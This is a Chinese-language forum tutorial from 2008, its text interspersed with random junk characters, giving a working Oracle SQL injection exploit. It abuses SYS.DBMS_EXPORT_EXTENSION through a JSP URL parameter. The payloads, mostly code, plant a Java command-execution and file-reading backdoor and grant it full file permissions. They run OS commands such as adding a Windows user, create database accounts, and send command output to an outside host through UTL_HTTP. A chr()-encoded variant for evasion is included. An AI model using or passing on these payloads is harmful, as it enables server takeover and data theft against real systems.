以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 ! Z7 Y& {! g- O6 w C& G
' T9 Z& f: r2 ~' a6 x% X' I6 q /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) : A1 ] F& O! {# L; C% z
的形式即可。(用" 'a'|| "是为了让语句返回true值) 4 _0 t$ n1 X* z! Z6 ]7 ^
语句有点长,可能要用post提交。
7 @$ A3 W0 D3 ]以下是各个步骤:
! \4 X$ D9 ]& a# v8 N7 D5 q1.创建包
- |& m+ q6 _8 B& p# [7 a9 r通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件: A4 P, W8 j) v5 G! z
/xxx.jsp?id=1 and '1'<>'a'||(
q, E# R% _0 a: _# d6 E5 bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- W0 W3 a& S7 a
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
: N& w& n, Q4 Z5 f* r5 y4 O! [new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
4 A0 E1 e6 F, b5 x2 t1 h}'''';END;'';END;--','SYS',0,'1',0) from dual ; ^ S5 |, Z- \; l6 \" ^* W
)
6 t! g, d. Y( B3 E------------------------ + d6 w* y/ n6 ?& i- t7 \9 j
如果url有长度限制,可以把readFile()函数块去掉,即: ) s" e# i5 N! R- h
/xxx.jsp?id=1 and '1'<>'a'||( . r" N3 m9 F7 q- ]6 P7 J$ j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) r q0 X$ `- A! z+ t3 _0 k" U' ycreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(. V8 T% J1 R5 b7 b! I% k
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
. m7 E: @% q7 C$ X% I}'''';END;'';END;--','SYS',0,'1',0) from dual
7 f3 H' m: Y U i) . A9 J* K: D! R% x7 V) g, Q) o
同时把后面步骤 提到的 对readFile()的处理语句去掉。
r. k( s5 u. I" {/ ]------------------------------ 3 c) c8 s- ~/ _
2.赋Java权限 + w, c& [* {. q" A% \$ Y% `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual' E& ~- H- R8 \ J: o/ @0 \' c& h
3.创建函数 4 j* Z" k( d4 g' n# L& ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* |; n& Z/ T) }( Z+ W$ gcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual. Q4 B( ]. w5 h4 W; t* C! u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 y P6 Y+ k5 r, T1 Q0 }create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
- [5 f7 \5 u7 d$ h0 @4.赋public执行函数的权限
) I! b" \5 Z, O$ Q# K0 e- j# Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual& a& `$ Y& {1 [, `. Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
* W7 G( Z2 @7 m5.测试上面的几步是否成功
' F3 h+ Y9 p1 t: y) Q# _+ y7 H& Fand '1'<>'11'||(
; @4 r) B" q: q+ Dselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 6 m2 l, J+ ] o/ s2 w$ z
)
7 V; K6 p6 F5 [8 O1 g( Rand '1'<>(
- N2 @7 s+ n% S& eselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
4 l/ U' U* Y4 a& G/ U2 D) 6 z0 G/ K$ h3 H- r( B, ? k' n
6.执行命令: 3 E1 \8 s6 M: W$ Z# b' c
/xxx.jsp?id=1 and '1'<>(
1 G7 K" N( X$ X( ?1 Zselect sys.LinxRunCMD('cmd /c net user linx /add') from dual : H# k4 L$ |& Q: n5 H
2 U: t/ {6 ], [7 Q# `+ e* y
) ( m; l$ \* `& \* y- [: g
/xxx.jsp?id=1 and '1'<>( & F( Q! a0 J% v
select sys.LinxReadFile('c:/boot.ini') from dual
w( i0 A! j( v2 V R( j+ v: Y. _8 I0 E. K- Y5 ~. E) y
)0 O. V. e' c, n- D
" {$ W! _# O0 }* L3 J
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
1 n: C; i: B8 y+ }% m# S* v如果要查看运行结果可以用 union :
; _: S1 z" u6 j9 v4 L/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
" ? R j. K2 X3 o( J0 z1 I或者UTL_HTTP.request(: , o! h2 s" m! b. n) d5 ], x/ ^
/xxx.jsp?id=1 and '1'<>(
7 ]/ \6 }- o8 N; H& ESELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
" {) s }4 z0 t: b) 4 G* }1 _. i9 }% ^ C
/xxx.jsp?id=1 and '1'<>(
# M( u; A* p, z" cSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual6 R9 C9 S( z e+ w' n
) $ \+ ?, C3 V/ B# h; U& Q# c5 Q
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
5 i# w' g5 G9 h: N+ i-------------------- 2 t, y& ?$ J* b
6.内部变化 4 R2 i- N+ P) V5 T* O1 U
通过以下命令可以查看all_objects表达改变:
* A4 b# a; P- T7 Sselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'; A- ]5 w. K4 n/ G/ A& g0 }
7.删除我们创建的函数 + ~7 |( w. g V2 {7 C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 s1 d1 R1 @: Q4 Q+ ^2 E( v9 u- c% Qdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual + g0 C5 O8 e* H( _& C1 p
====================================================
+ [) @1 z. e y8 r全文结束。谨以此文赠与我的朋友。
m' a- j( _$ g2 u. _linx
L( R% r+ k7 Z124829445
2 y3 M5 }4 |: G6 h1 Q/ v2008.1.12 1 w$ u( ~8 V0 ?6 w; [; y
linyujian@bjfu.edu.cn
5 s# y% R% H9 ~/ S; o; o0 o' R! p' a====================================================================== 2 N' R# w S, ]- z, C0 _! l' q
测试漏洞的另一方法:
; L5 L5 {$ w7 Q, i* t创建oracle帐号: # k) W, W) Z$ W% f6 ^5 s1 o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% K2 j" J+ M/ f* y" A( m' k: E$ MCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
; U* }; G$ e. P5 z即: 9 c7 a) F6 s8 u) L- T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),7 g* [0 X, D8 c
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
* f% x9 B' ?" _8 G2 u, t0 T% V确定漏洞存在: 2 {8 b/ P1 F4 D$ [0 g
1<>( 7 x% h' O+ O( \/ ^% J6 B; v( R# g+ S
select user_id from all_users where username='LINXSQL'
8 q/ M' y, C, m" ?( K1 R* _& ] I) " R" y6 J- ]( b% {/ r! h
给linxsql连接权限:
& [$ F( B6 ?, lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 S3 T; x- E% ~3 a0 y; g
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
, [- i, V" ~ B" h% s删除帐号: " k7 v8 K6 `7 R6 {1 E; ]/ J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( U: W/ Y. ^5 L3 p' u2 Vdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual ) E: s! u9 R/ C7 F# Q
====================== , Z) W. ` h. ?, M
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
6 x8 T: g) W! {% {1.jsp?id=1 and '1'<>( 1 L& y* }# e" K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ k5 [) X0 ~ y3 E2 V4 n
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
$ {* G& E3 M* |. n- E) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE& L: x; U" D. v
)' g# v5 [0 [$ J& @
! J1 f' A! F" c+ `$ V: E; }
3 g. {1 u! W1 c) q
8 }! @/ z6 j- b! Z9 H |